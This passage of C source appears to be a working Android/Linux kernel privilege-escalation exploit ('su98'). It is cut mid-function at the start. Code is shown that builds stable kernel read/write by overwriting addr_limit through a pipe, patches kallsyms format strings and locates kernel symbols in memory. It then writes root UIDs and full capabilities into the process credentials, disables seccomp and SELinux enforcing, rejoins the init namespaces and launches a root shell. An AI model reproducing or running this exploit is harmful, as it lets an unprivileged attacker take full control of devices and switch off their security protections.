        if (clobber_hit) {
            fprintf(stderr, "PROBE CLOBBER HIT attempt=%d (rr=%zd errno=%d datum=%lx)\n",
                    attempt, rr, re, test_datum);
            close(bindfd);
            munmap(bindmap, BH_MMAP_SIZE);
            bh_drain_release();
            return;
        }
        fprintf(stderr, "PROBE: attempt %d: no clobber (control=%s)\n",
                attempt, test_datum == test_value ? "ok" : "bad");

    attempt_done:
        close(epfd);
        close(bindfd);
        munmap(bindmap, BH_MMAP_SIZE);
    }
    bh_drain_release();
    fprintf(stderr, "PROBE: NO clobber in %d attempts\n", max_attempts);
}

/* ------------------------------------------------------------------ */
/* Stable kernel R/W (after addr_limit clobber)                       */
/* ------------------------------------------------------------------ */

int kernel_rw_pipe[2];

struct kernel_buffer {
    unsigned char pageBuffer[0x1000];
    unsigned long pageBufferOffset;
} kernel_buffer = { .pageBufferOffset = 0 };

void reset_kernel_pipes()
{
    kernel_buffer.pageBufferOffset = 0;
    close(kernel_rw_pipe[0]);
    close(kernel_rw_pipe[1]);
    if (pipe(kernel_rw_pipe))
        error( "kernel_rw_pipe");
}

int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len)
{
    if (len > 0x1000)
        error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
    if (write(kernel_rw_pipe[1], buf, len) != len ||
        read(kernel_rw_pipe[0], (void *)kaddr, len) != len)
    {
        reset_kernel_pipes();
        return 0;
    }
    return len;
}

void kernel_write(unsigned long kaddr, void *buf, unsigned long len)
{
    if (len != raw_kernel_write(kaddr, buf, len))
        error( "error with kernel writing");
}

int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len)
{
    if (len > 0x1000)
        error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
    if (write(kernel_rw_pipe[1], (void *)kaddr, len) != len || read(kernel_rw_pipe[0], buf, len) != len)
    {
        reset_kernel_pipes();
        return 0;
    }
    return len;
}

void kernel_read(unsigned long kaddr, void *buf, unsigned long len)
{
    if (len > 0x1000)
        error( "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len);
    if (len != raw_kernel_read(kaddr, buf, len))
        message( "error with kernel reading");
}

unsigned char kernel_read_uchar(unsigned long offset) {
    if (kernel_buffer.pageBufferOffset == 0 || offset < kernel_buffer.pageBufferOffset || kernel_buffer.pageBufferOffset+0x1000 <= offset) {
        kernel_buffer.pageBufferOffset = offset & ~(0x1000-1);
        kernel_read(kernel_buffer.pageBufferOffset, kernel_buffer.pageBuffer, 0x1000);
    }
    return kernel_buffer.pageBuffer[offset-kernel_buffer.pageBufferOffset];
}

unsigned long kernel_read_ulong(unsigned long kaddr)
{
    unsigned long data;
    kernel_read(kaddr, &data, sizeof(data));
    return data;
}
unsigned long kernel_read_uint(unsigned long kaddr)
{
    unsigned int data;
    kernel_read(kaddr, &data, sizeof(data));
    return data;
}
void kernel_write_ulong(unsigned long kaddr, unsigned long data)
{
    kernel_write(kaddr, &data, sizeof(data));
}
void kernel_write_uint(unsigned long kaddr, unsigned int data)
{
    kernel_write(kaddr, &data, sizeof(data));
}
void kernel_write_uchar(unsigned long kaddr, unsigned char data)
{
    kernel_write(kaddr, &data, sizeof(data));
}

// code from DrZener
unsigned long findSelinuxEnforcingFromAvcDenied(unsigned long avc_denied_address)
{
    unsigned long address;
    unsigned long selinux_enforcing_address;
    bool adrp_found = 0;
    for(address = avc_denied_address; address <= avc_denied_address + 0x60; address += 4)
    {
        unsigned int instruction = kernel_read_uint(address);

        if(!adrp_found)
        {
            unsigned int instruction_masked = instruction;
            instruction_masked >>= 24;
            instruction_masked &= 0x9F;
            if((instruction_masked ^ 0x90) == 0 )
            {
                selinux_enforcing_address = address;
                unsigned int imm_hi, imm_lo, imm;
                imm_hi = (instruction >> 5) &  0x7FFFF;
                imm_lo = (instruction >> 29) & 3;
                imm = ((imm_hi << 2) | imm_lo) << 12;
                selinux_enforcing_address &= 0xFFFFFFFFFFFFF000;
                selinux_enforcing_address += imm;
                adrp_found = 1;
            }
        }
        if (adrp_found)
        {
            unsigned int instruction_masked = instruction;
            instruction_masked >>= 22;
            instruction_masked &= 0x2FF;
            if((instruction_masked ^ 0x2E5) == 0 )
            {
                unsigned int offset = ((instruction >> 10) & 0xFFF) << 2;
                selinux_enforcing_address += offset;
                message("selinux_enforcing address found");
                return selinux_enforcing_address;
            }
        }
    }
    message("selinux_enforcing address not found");
    return 0UL;
}

// Make the kallsyms module not check for permission to list symbol addresses
int fixKallsymsFormatStrings(unsigned long start)
{
    errno = 0;

    int found = 0;

    start &= ~(0x1000 - 1);

    unsigned long searchTarget;

    memcpy(&searchTarget, "%pK %c %", 8);

    int backwards = 1;
    int forwards = 1;
    int direction = 1;
    unsigned long forwardAddress = start;
    unsigned long backwardAddress = start - 0x1000;
    unsigned long page[0x1000 / 8];

    message("MAIN: searching for kallsyms format strings");

    while ((backwards || forwards) && found < 2)
    {
        unsigned long address = direction > 0 ? forwardAddress : backwardAddress;

        if (address < 0xffffffc000000000ul || address >= 0xffffffd000000000ul || raw_kernel_read(address, page, 0x1000) != 0x1000)
        {
            if (direction > 0)
                forwards = 0;
            else
                backwards = 0;
        }
        else
        {
            for (int i = 0; i < 0x1000 / 8; i++)
                if (page[i] == searchTarget)
                {
                    unsigned long a = address + 8 * i;

                    char fmt[16];

                    kernel_read(a, fmt, 16);

                    if (!strcmp(fmt, "%pK %c %s\t[%s]\x0A"))
                    {
                        message("MAIN: patching longer version at %lx", a);
                        if (15 != raw_kernel_write(a, "%p %c %s\t[%s]\x0A", 15)) {
                            message("MAIN: **fail** probably you have read-only const storage");
                            return found;
                        }
                        found++;
                    }
                    else if (!strcmp(fmt, "%pK %c %s\x0A"))
                    {
                        message("MAIN: patching shorter version at %lx", a);
                        if (15 != raw_kernel_write(a, "%p %c %s\x0A", 10)) {
                            message("MAIN: **fail** probably you have read-only const storage");
                            return found;
                        }
                        found++;
                    }

                    if (found >= 2)
                        return 2;
                }
        }

        if (direction > 0)
            forwardAddress += 0x1000;
        else
            backwardAddress -= 0x1000;

        direction = -direction;

        if (direction < 0 && !backwards)
        {
            direction = 1;
        }
        else if (direction > 0 && !forwards)
        {
            direction = -1;
        }
    }

    return found;
}

int verifyCred(unsigned long cred_ptr) {
    unsigned uid;
    if (cred_ptr < 0xffffff0000000000ul || 4 != raw_kernel_read(cred_ptr+OFFSET__cred__uid, &uid, 4))
        return 0;
    return uid == getuid();
}

int getCredOffset(unsigned char* task_struct_data) {
    char taskname[16];
    unsigned n = MIN(strlen(myName)+1, 16);
    memcpy(taskname, myName, n);
    taskname[15] = 0;

    for (int i=OFFSET__task_struct__stack+8; i<0x1000-16; i+=8) {
        if (0 == memcmp(task_struct_data+i, taskname, n) && verifyCred(*(unsigned long*)(task_struct_data+i-8)))
            return i-8;
    }

    errno=0;
    error("Cannot find cred structure");
    return -1;
}

int getSeccompOffset(unsigned char* task_struct_data, unsigned credOffset, unsigned seccompStatus) {
    if (seccompStatus != 2)
        return -1;

    unsigned long firstGuess = -1;

    for (int i=credOffset&~7; i<0x1000-24; i+=8) {
        struct {
            unsigned long seccomp_status;
            unsigned long seccomp_filter;
            unsigned int parent_exe;
            unsigned int child_exe;
        } *p = (void*)(task_struct_data+i);

        if (p->seccomp_status == seccompStatus && isKernelPointer(p->seccomp_filter)) {
            if (p->child_exe == p->parent_exe + 1) {
                return i;
            }
            else {
                if (firstGuess < 0)
                    firstGuess = i;
            }
        }
    }

    return firstGuess;
}

unsigned long countIncreasingEntries(unsigned long start) {
    unsigned long count = 1;
    unsigned long prev = kernel_read_ulong(start);
    do {
        start += 8;
        unsigned long v = kernel_read_ulong(start);
        if (v < prev)
            return count;
        count++;
    } while(1);
}

int increasing(unsigned long* location, unsigned n) {
    for (int i=0; i<n-1; i++)
        if (location[i] > location[i+1])
            return 0;
    return 1;
}

int find_kallsyms_addresses(unsigned long searchStart, unsigned long searchEnd, unsigned long* startP, unsigned long* countP) {
    if (searchStart == 0)
        searchStart = 0xffffffc000000000ul;
    if (searchEnd == 0)
        searchEnd = searchStart + 0x5000000;
    unsigned long foundStart = 0;

    unsigned char page[0x1000];
    for (unsigned long i=searchStart; i<searchEnd ; i+=0x1000) {
        if (0x1000 == raw_kernel_read(i, page, 0x1000))
            for (int j=0; j<0x1000; j+=0x100) {
               if (isKernelPointer(*(unsigned long*)(page+j)) && increasing((unsigned long*)(page+j), 256/8-1)) {
                    unsigned long count = countIncreasingEntries(i+j);
                    if (count >= 40000) {
                       *startP = i+j;
                       *countP = count;
                       return 1;
                    }
               }
            }
    }
    return 0;
}

int get_kallsyms_name(unsigned long offset, char* name) {
    unsigned char length = kernel_read_uchar(offset++);

    for (unsigned char i = 0; i < length ; i++) {
        int index = kallsyms.token_index_data[kernel_read_uchar(offset++)];
        int n = strlen(kallsyms.token_table_data+index);
        memcpy(name, kallsyms.token_table_data+index, n);
        name += n;
    }
    *name = 0;

    return 1+length;
}

int loadKallsyms() {
    if (have_kallsyms)

        return 1;
    if (!find_kallsyms_addresses(0, 0, &kallsyms.addresses, &kallsyms.num_syms))
        return 0;

    message("MAIN: kallsyms names start at 0x%lx and have %ld entries", kallsyms.addresses, kallsyms.num_syms);
    unsigned long offset = kallsyms.addresses + 8 * kallsyms.num_syms;

    message("MAIN: kallsyms names end at 0x%lx", offset);
    struct kernel_buffer buf = {.pageBufferOffset = 0};
    unsigned long ost=offset;
    offset = (offset + 0xFFul) & ~0xFFul;

    unsigned long count = kernel_read_ulong(offset);
    offset += 8;

    if (count != kallsyms.num_syms) {
        message("MAIN: **fail** kallsym entry count mismatch %ld", count);
        have_base=1;
        return 0;
    }

    offset = (offset + 0xFFul) & ~0xFFul;

    kallsyms.names = offset;

    for (unsigned long i = 0 ; i < kallsyms.num_syms ; i++) {
        unsigned char len = kernel_read_uchar(offset++);
        offset += len;
    }

    offset = (offset + 0xFF) & ~0xFFul;

    kallsyms.markers = offset;

    offset += 8 * ((kallsyms.num_syms + 255ul) / 256ul);

    offset = (offset + 0xFF) & ~0xFFul;

    kallsyms.token_table = offset;

    int tokens = 0;

    while (tokens < 256) {
        if (kernel_read_uchar(offset++) == 0)
            tokens++;
    }

    unsigned long token_table_length = offset - kallsyms.token_table;

    kallsyms.token_table_data = malloc(token_table_length);

    errno = 0;
    if (kallsyms.token_table_data == NULL)
        error("allocating token table");

    for (unsigned long i = 0 ; i < token_table_length ; i++)
        kallsyms.token_table_data[i] = kernel_read_uchar(kallsyms.token_table + i);

    offset = (offset + 0xFF) & ~0xFFul;

    kernel_read(offset, kallsyms.token_index_data, sizeof(kallsyms.token_index_data));

    have_kallsyms = 1;

    return 1;
}

unsigned long findSymbol_memory_search(char* symbol) {
    message("MAIN: searching for kallsyms table");
    if (! loadKallsyms()) {
        message("MAIN: **fail** cannot find kallsyms table");
        return 0;
    }

    unsigned long offset = kallsyms.names;
    char name[KSYM_NAME_LEN];
    unsigned n = strlen(symbol);

    for(unsigned long i = 0; i < kallsyms.num_syms; i++) {
        unsigned int n1 = get_kallsyms_name(offset, name);
        if (!strncmp(name+1, symbol, n) && (name[1+n] == '.' || !name[1+n])) {
            unsigned long address = kernel_read_ulong(kallsyms.addresses + i*8);
            message( "MAIN: found %s in kernel memory at %lx", symbol, address);

            return address;
        }
        offset += n1;
    }

    return 0;
}

char* allocateSymbolCachePathName(char* symbol) {
    int n = strlen(myPath);

    char* pathname = malloc(strlen(symbol)+7+1+n);
    if (pathname == NULL) {
        errno = 0;
        error("allocating memory for pathname");
    }
    strcpy(pathname, myPath);
    strcat(pathname, symbol);
    strcat(pathname, ".symbol");

    return pathname;
}

unsigned long findSymbol_in_cache(char* symbol) {
    char* pathname = allocateSymbolCachePathName(symbol);
    unsigned long address = 0;

    FILE *cached = fopen(pathname, "r");
    if (cached != NULL) {
        fscanf(cached, "%lx", &address);
        fclose(cached);
    }

    free(pathname);

    return address;
}

void cacheSymbol(char* symbol, unsigned long address) {
#ifdef KALLSYMS_CACHING
    if (address != 0 && address != findSymbol_in_cache(symbol)) {
        char* pathname = allocateSymbolCachePathName(symbol);
        FILE *cached = fopen(pathname, "w");
        if (cached != NULL) {
            fprintf(cached, "%lx\n", address);
            fclose(cached);
            char* cmd = alloca(10+strlen(pathname)+1);
            sprintf(cmd, "chmod 666 %s", pathname);
            system(cmd);
            message("cached %s", pathname);
        }
        free(pathname);
    }
#endif
}

unsigned long findSymbol(unsigned long pointInKernelMemory, char *symbol)
{
    unsigned long address = 0;

#ifdef KALLSYMS_CACHING
    address = findSymbol_in_cache(symbol);
    if (address != 0)
        return address;
#endif

#ifndef PROC_KALLSYMS
    address = findSymbol_memory_search(symbol);
#else
    char buf[1024];
    buf[0] = 0;
    errno = 0;

    FILE *ks = fopen("/proc/kallsyms", "r");
    if (ks == NULL) {
        return findSymbol_memory_search(symbol);
    }
    fgets(buf, 1024, ks);
    if (ks != NULL)
        fclose(ks);

    if ( (buf[0] == 0 || strncmp(buf, "0000000000000000", 16) == 0) && fixKallsymsFormatStrings(pointInKernelMemory) == 0)
    {
        message( "MAIN: **partial failure** cannnot fix kallsyms format string");
        address = findSymbol_memory_search(symbol);
    }
    else {
        ks = fopen("/proc/kallsyms", "r");
        while (NULL != fgets(buf, sizeof(buf), ks))
        {
            unsigned long a;
            unsigned char type;
            unsigned n = strlen(symbol);
            char sym[1024];
            sscanf(buf, "%lx %c %s", &a, &type, sym);
            if (!strncmp(sym, symbol, n) && (sym[n]=='.' || !sym[n])) {
                message( "found %s in /proc/kallsyms", sym);
                address = a;
                break;
            }
        }

        fclose(ks);
    }
#endif

    return address;
}
void kptrLeak(unsigned long task_struct_ptr) {
    for (int i=0; i<0x1000-16; i+=8) {
        if (kernel_read_ulong(task_struct_ptr+i-8)>0xffffff0000000000){
            message("searching at 0x%lx",kernel_read_ulong(task_struct_ptr+i-8));
            unsigned long bk_search_base=search_base;
            search_base=kernel_read_ulong(task_struct_ptr+i-8);
            loadKallsyms();
            if(have_base==0){search_base=bk_search_base;}
            have_base=0;
        }
    }
    message("kptrLeak finished");
    return;
}
void checkKernelVersion() {
    kernel3 = 1;
    FILE *k = fopen("/proc/version", "r");
    if (k != NULL) {
        char buf[1024]="";
        fgets(buf, sizeof(buf), k);
        if (NULL != strstr(buf, "Linux version 4"))
            kernel3 = 0;
    }
    if (kernel3) message("MAIN: detected kernel version 3");
        else message("MAIN: detected kernel version other than 3");
}

void getPackageName(unsigned uid, char* packageName) {
    if (uid == 2000) {
        strcpy(packageName, "adb");
        return;
    }
    else if (uid == 0) {
        strcpy(packageName, "root");
        return;
    }
    strcpy(packageName, "(unknown)");
    FILE* f = fopen("/data/system/packages.list", "r");
    if (f == NULL)
        return;
    unsigned id;
    char pack[MAX_PACKAGE_NAME];
    while(2 == fscanf(f, "%s %u%*[^\n]", pack, &id)) {
        if (id == uid) {
            strncpy(packageName, pack, MAX_PACKAGE_NAME);
            packageName[MAX_PACKAGE_NAME-1] = 0;
            goto DONE;
        }
    }
DONE:
    fclose(f);
}

int checkWhitelist(unsigned uid) {
    if (uid == 0 || uid == 2000)
        return 1;

    char *path = alloca(strlen(myPath) + sizeof(whitelist));
    strcpy(path, myPath);
    strcat(path, whitelist);

    FILE* wl = fopen(path, "r");

    if (wl == NULL) {
        message("MAIN: no whitelist, so all callers are welcome");
        return 1;
    }

    char parent[MAX_PACKAGE_NAME];
    getPackageName(uid, parent);

    int allowed = 0;

    char line[512];
    while (NULL != fgets(line, sizeof(line), wl)) {
        line[sizeof(line)-1] = 0;
        char* p = line;
        while (*p && isspace(*p))
            p++;
        char*q = p + strlen(p) - 1;
        while (p < q && isspace(*q))
            *q-- = 0;
        if (q <= p)
            continue;
        if (*q == '*') {
            if (!strncmp(parent, p, q-p-1)) {
                allowed = 1;
                goto DONE;
            }
        }
        else if (!strcmp(parent,p)) {
            allowed = 1;
            goto DONE;
        }
    }

DONE:
    fclose(wl);

    if (allowed)
        message("MAIN: whitelist allows %s", parent);
    else {
        if (parent[0]) {
            char *path = alloca(strlen(myPath) + sizeof(denyfile));
            strcpy(path, myPath);
            strcat(path, denyfile);
            FILE* f = fopen(path, "a");
            if (f != NULL) {
                fprintf(f, "%s\n", parent);
                fclose(f);
            }
        }
    }

    return allowed;
}

unsigned long find_selinux_enforcing(unsigned long search_base) {
    unsigned long address = findSymbol(search_base, "selinux_enforcing");
    if (address == 0) {
        message("MAIN: direct search didn't work, so searching via avc_denied");
        address = findSymbol(search_base, "avc_denied");
        if (address == 0)
            return 0;
        address = findSelinuxEnforcingFromAvcDenied(address);
    }
    if (address == 0) {
        /* Verified fallback from kernel.elf disasm (no KASLR on markw):
         * off_selinux_enforcing = 0x0174f974 -> 0xffffffc00174f974. */
        address = 0xffffffc00174f974ul;
        if (kernel_read_uint(address) != 1) {
            message("MAIN: **fail** selinux_enforcing fallback address not valid");
            return 0;
        }
        message("MAIN: using verified selinux_enforcing constant 0x%lx", address);
    }
    return address;
}

static const unsigned long bh_wq_candidates[] = {
  0x48, 0x58, 0x68, 0x78, 0x88, 0x98, 0xA8, 0xB8, 0xC8, 0xD0, 0x50, 0x118,
  0
};

int main(int argc, char **argv)
{
    int command = 0;
    int dump = 0;
    int rejoinNS = 1;

    char result[PATH_MAX];
    ssize_t count = readlink("/proc/self/exe", result, PATH_MAX);
    char* p = strrchr(result, '/');
    if (p == NULL)
        p = result;
    else
        p++;
    *p = 0;
    myPath = result;

    cpu_set_t cs;
    CPU_ZERO(&cs);
    CPU_SET(0, &cs);
    sched_setaffinity(0, sizeof(cs), &cs);

    p = strrchr(argv[0], '/');
    if (p == NULL)
        p = argv[0];
    else
        p++;

    myName = p;
    int n = p-argv[0];

    if (!strcmp(myName,"su")) {
        quiet = 1;
    }
    while(argc >= 2 && argv[1][0] == '-') {
        switch(argv[1][1]) {
            case 'q':
                quiet = 1;
                break;
            case 'v':
                puts("su98 version 0.02");
                exit(0);
                break;
            case 'c':
                command = 1;
                quiet = 1;
                break;
            case 'd':
                dump = 1;
                break;
            case 'p':
                dump = 2;
                break;
            case 'N':
                rejoinNS = 0;
                break;
            case 'n':
                g_noclobber = 1;
                break;
            default:
                break;
        }
        for (int i=1; i<argc-1; i++)
            argv[i] = argv[i+1];
        argc--;
    }

    if (!dump && argc >= 2)
        quiet = 1;

    checkKernelVersion();
    setup_alarm_timeout();
    alarm(90); /* global watchdog: any blocking syscall turns into EINTR */

    message("MAIN: starting exploit (wq candidates probed, drain on cpu0)");

    if (pipe(kernel_rw_pipe))
        error( "kernel_rw_pipe");

    if (dump == 2) {
        probe_clobber();
        exit(0);
    }

    if (!bh_drain_start())
        error("Failed to start kmalloc-512 drain");

    message("MAIN: kmalloc-512 drain running (%d holders on cpu0)", BH_DRAIN_THREADS);

    unsigned long task_struct_ptr = 0;
    unsigned long task_struct_plus_8 = 0;
    unsigned char *win = (unsigned char *)malloc(BH_ADJ_LEAK);
    if (!win)
        error("allocating leak window");

    int got = 0;

    if (dump && argc >= 2 && !strcmp(argv[1], "leakwin")) {
        message("MAIN: DIAG dumping leak window");
        diag_dump_stream = 1;
        g_wq_off = 0x48;
        g_task_off = (0x200UL - (g_wq_off + 8)) + 0x48;
        g_known_task = 0;
        if (!leak_data_retry(win, BH_ADJ_LEAK, 0, NULL, 0, &task_struct_ptr, NULL))
            error("Failed to leak data");
        message("MAIN: DIAG leak window task candidate at 0x%lx (task_off 0x%lx)",
                task_struct_ptr, g_task_off);
        for (int N = 0; N <= 6; N++) {
            unsigned long off = (0x200UL - (g_wq_off + 8)) + 0x200UL * N + 0x48;
            if (off + 8 > BH_ADJ_LEAK) break;
            unsigned long v = 0;
            memcpy(&v, win + off, 8);
            if (isKernelPointer(v))
                message("MAIN: DIAG task candidate scan: 0x%lx (off 0x%lx)", v, off);
        }
        hexdump_memory(win, BH_ADJ_LEAK);
        unsigned long kp[8];
        int nk = 0;
        for (int i = 0; i + 8 < (int)BH_ADJ_LEAK && nk < 8; i += 8) {
            unsigned long v = 0;
            memcpy(&v, win + i, 8);
            if (isKernelPointer(v)) kp[nk++] = i;
        }
        message("MAIN: DIAG kernel-ptr count=%d first_offs=%lx %lx %lx %lx",
                nk, nk > 0 ? kp[0] : 0, nk > 1 ? kp[1] : 0,
                nk > 2 ? kp[2] : 0, nk > 3 ? kp[3] : 0);
        /* Bootstrap directly on this window: the crossing slot changes
         * every attempt (the freed thread slot is the freelist head at
         * the register, interleaved with the previous child's exit
         * frees), so the retry loop below spends one wedge attempt per
         * fixed offset and the CM wedge stalls after ~4-5 attempts per
         * boot - the loop rarely reaches the offset that actually holds
         * the task.  This window already contains the slab's task
         * pointers at the 7 candidate offsets; only kernel pointers are
         * worth a round-2 leak, and the 16K-aligned task->stack check
         * validates each candidate. */
        for (int N = 0; N <= 6 && !got; N++) {
            unsigned long off = (0x200UL - (g_wq_off + 8)) + 0x200UL * N + 0x48;
            if (off + 8 > BH_ADJ_LEAK) break;
            unsigned long v = 0;
            memcpy(&v, win + off, 8);
            if (!isKernelPointer(v)) continue;
            message("MAIN: leakwin bootstrap candidate 0x%lx (off 0x%lx)", v, off);
            BH_STAGE("main leakwin bootstrap");
            got = bootstrap_try_task(v, &task_struct_ptr, &task_struct_plus_8);
        }
        free(win);
        /* DIAG mode: fall through to the retry loop so failing attempts
         * are also dumped (crossing geometry in the miss case). */
        win = (unsigned char *)malloc(BH_ADJ_LEAK);
        if (!win)
            error("allocating leak window");
    }

    for (int wi = 0; bh_wq_candidates[wi] && !got && !g_wedge_dead; wi++) {
        g_wq_off = bh_wq_candidates[wi];
        message("MAIN: probing wq offset 0x%lx", g_wq_off);
        g_known_task = 0;
        /* Leak the window ONCE per wq offset, then bootstrap every
         * candidate in that window (diag35's proven path).  Re-leaking
         * per offset burns wedge cycles the slot rarely survives. */
        if (!leak_data_retry(win, BH_ADJ_LEAK, 0, NULL, 0, &task_struct_ptr, NULL))
            continue;
        unsigned long task_offs[8];
        int n_offs = 0;
        for (int N = 0; N <= 6 && n_offs < 7; N++) {
            unsigned long off = (0x200UL - (g_wq_off + 8)) + 0x200UL * N + 0x48;
            if (off + 8 <= BH_ADJ_LEAK) task_offs[n_offs++] = off;
        }
        task_offs[n_offs] = 0;
        for (int ti = 0; task_offs[ti] && !got; ti++) {
            unsigned long v = 0;
            memcpy(&v, win + task_offs[ti], 8);
            if (!isKernelPointer(v)) continue;
            g_task_off = task_offs[ti];
            message("MAIN: task candidate 0x%lx (off 0x%lx)", v, g_task_off);
            BH_STAGE("main bootstrap task candidate");
            got = bootstrap_try_task(v, &task_struct_ptr, &task_struct_plus_8);
        }
        int scan_cap = 64;
        for (int o = 0x10; o + 8 <= (int)BH_ADJ_LEAK && !got && scan_cap > 0; o += 8, scan_cap--) {
            unsigned long v = 0;
            memcpy(&v, win + o, 8);
            if (!isKernelPointer(v)) continue;
            /* skip the {X,X} crossing pair at off 0 (the window's own
             * DEL'd iov[5], not a candidate) */
            int seen = 0;
            for (int ti = 0; task_offs[ti] && !seen; ti++)
                if (task_offs[ti] == (unsigned long)o) seen = 1;
            if (seen) continue;
            message("MAIN: task scan candidate 0x%lx (off 0x%x)", v, o);
            BH_STAGE("main bootstrap scan candidate");
            got = bootstrap_try_task(v, &task_struct_ptr, &task_struct_plus_8);
        }
    }
    free(win);

    if (!got && g_wedge_dead)
        error("Wedge died this boot - reboot and rerun");
    if (!got)
        error("Failed to establish stable kernel R/W");

    message("MAIN: task_struct_ptr = %lx", task_struct_ptr);
    message("MAIN: thread_info (addr_limit at +8) = %lx", task_struct_plus_8 ? task_struct_plus_8 : task_struct_ptr);

    setbuf(stdout, NULL);
    message("MAIN: should have stable kernel R/W now");

    if (dump) {
        unsigned long start, count;
        start = 0xffffffc000000000ul;
        count = 0x1000;

        if (argc >= 2)
            sscanf(argv[1], "%lx", &start);

        start &= ~7;

        if (argc >= 3)
            sscanf(argv[2], "%lx", &count);
        unsigned long search = 0;

        int emit = 0;

        if (argc >= 4)
            sscanf(argv[3], "%lx", &search);
        else
            emit = 1;

        unsigned char page[0x1000];
        for (unsigned long i=start; i<start+count ; i+=0x1000) {
            kernel_read(i, page, 0x1000);
            if (!emit) {
                for (int j=0; j<0x1000; j+=8) {
                   if (*(unsigned long*)(page+j)==search) {
                       emit = 1;
                       break;
                   }
                }
            }
            if (emit) {
                printf("%lx:\n", i);
                unsigned long n = start+count-i;
                if (n>=0x1000) {
                    n = 0x1000;
                }
                else {
                    n = (n+15)/16*16;
                }
                hexdump_memory(page, n);
            }
        }
        bh_drain_release();
        exit(0);
    }

    message("MAIN: searching for cred offset in task_struct");
    unsigned char task_struct_data[0x1000+16];
    kernel_read(task_struct_ptr, task_struct_data, 0x1000);

    unsigned long offset_task_struct__cred = getCredOffset(task_struct_data);
    puts("\nleaking kernel pointer");
    kptrLeak(task_struct_ptr);
    puts("\n");
    unsigned long cred_ptr = kernel_read_ulong(task_struct_ptr + offset_task_struct__cred);

    message("MAIN: using last successful search_base = %lx", search_base);

    message("MAIN: searching for selinux_enforcing");
    unsigned long selinux_enforcing = find_selinux_enforcing(search_base);

    unsigned int oldUID = getuid();

    message("MAIN: setting root credentials with cred offset %lx", offset_task_struct__cred);

    for (int i = 0; i < 8; i++)
        kernel_write_uint(cred_ptr + OFFSET__cred__uid + i * 4, 0);

    if (getuid() != 0)
        error( "changing UIDs to 0");

    message("MAIN: UID = 0");

    message("MAIN: enabling capabilities");

    // reset securebits
    kernel_write_uint(cred_ptr + OFFSET__cred__securebits, 0);

    kernel_write_ulong(cred_ptr+OFFSET__cred__cap_inheritable, 0x3fffffffffUL);
    kernel_write_ulong(cred_ptr + OFFSET__cred__cap_permitted, 0x3fffffffffUL);
    kernel_write_ulong(cred_ptr + OFFSET__cred__cap_effective, 0x3fffffffffUL);
    kernel_write_ulong(cred_ptr + OFFSET__cred__cap_bset, 0x3fffffffffUL);

    int seccompStatus = prctl(PR_GET_SECCOMP);
    message("MAIN: SECCOMP status %d", seccompStatus);
    if (seccompStatus)
    {
        message("MAIN: disabling SECCOMP");
        kernel_write_ulong(task_struct_ptr + OFFSET__thread_info__flags, 0);
        int offset__task_struct__seccomp = getSeccompOffset(task_struct_data, offset_task_struct__cred, seccompStatus);
        if (offset__task_struct__seccomp < 0)
            message("MAIN: **FAIL** cannot find seccomp offset");
        else {
            message("MAIN: seccomp offset %lx", offset__task_struct__seccomp);
            kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp, 0);
            kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp + 8, 0);
            message("MAIN: SECCOMP status %d", prctl(PR_GET_SECCOMP));
        }
    }

    unsigned prev_selinux_enforcing = 1;

    if (selinux_enforcing == 0)
        message("MAIN: **FAIL** did not find selinux_enforcing symbol");
    else
    {
        prev_selinux_enforcing = kernel_read_uint(selinux_enforcing);
        kernel_write_uint(selinux_enforcing, 0);
        message("MAIN: disabled selinux enforcing");

        cacheSymbol("selinux_enforcing", selinux_enforcing);
    }

    if (rejoinNS) {
        char cwd[1024];
        getcwd(cwd, sizeof(cwd));

        message("MAIN: re-joining init mount namespace");
        int fd = open("/proc/1/ns/mnt", O_RDONLY);

        if (fd < 0) {
            error("open");
            exit(1);
        }

        if (setns(fd, CLONE_NEWNS) < 0) {
            message("MAIN: **partial failure** could not rejoin init fs namespace");
        }

        message("MAIN: rejoining init net namespace");

        fd = open("/proc/1/ns/net", O_RDONLY);

        if (fd < 0) {
            error("open");
        }

        if (setns(fd, CLONE_NEWNET) < 0) {
            message("MAIN: **partial failure** could not rejoin init net namespace");
        }

        chdir(cwd);
    }

    if (!checkWhitelist(oldUID)) {
        if (0 != selinux_enforcing) {
            kernel_write_uint(selinux_enforcing, prev_selinux_enforcing);
        }
        errno = 0;
        error("Whitelist check failed");
    }

    message("MAIN: root privileges ready");
    alarm(0); /* cancel the 90s watchdog: the root shell must not die */

    if (command || argc == 2) {
        execlp("sh", "sh", "-c", argv[1], (char *)0);
    }
    else {
        message("MAIN: popping out root shell");
        execlp("sh", "sh", (char*)0);
    }

    exit(0);
}